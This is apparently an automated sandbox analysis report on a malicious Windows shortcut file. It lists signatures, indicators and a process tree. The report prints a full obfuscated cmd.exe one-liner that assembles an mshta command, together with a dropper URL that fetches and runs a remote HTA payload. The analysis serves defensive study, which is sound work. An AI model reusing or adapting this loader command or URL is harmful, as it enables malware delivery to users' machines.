Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 13:11

General

  • Target
    DOC-8VOEQX.lnk
  • Size 2KB
  • Sample260803-qfa2rszzay
  • SHA256 886af731e89aabc13b89c1d6f40105c99246d1f1d435355e77cd9875eb06bbae
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-8VOEQX.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4084
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set wfr=ymu&&set ZTZx=gbdshj6&&set sEnBz=5tan87&&set ACK=gbhshjf&&set EIqK=4c6tcxb&&set QBC=svartp9&&set jTQW=dbgrestffqzelwglmgladbg&&set Gzt=tmpqjnoctmp&&set lrUX=infghuausstwdzeinf&&set Rpduh=netxfzgnhnzzyejnet&&set lDN=bakneycttbak&&set QFW=netlucdgrilqrdtnet&&set AsEN=dbgnocaaevcjmsttdbg&&set JL=cachecccnnnuihgporxgcvuxhstscache&&set nWO=logfsyiojlrkolog&&set Ydwm=dbgewepijltscdbg&&set zIHY=winequhkepktllxypwin&&set RE=h@ttp@s://@bo-@pdffill@er@.@la@t@/@h/est@ag@[email protected]@?@r=3@60@761F@15794&&start /b !wfr:~1,1!!ZTZx:~3,2!!sEnBz:~1,2! !RE:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4856
      • C:\Windows\System32\mshta.exe
        mshta https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794
        3⤵
          PID:912

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads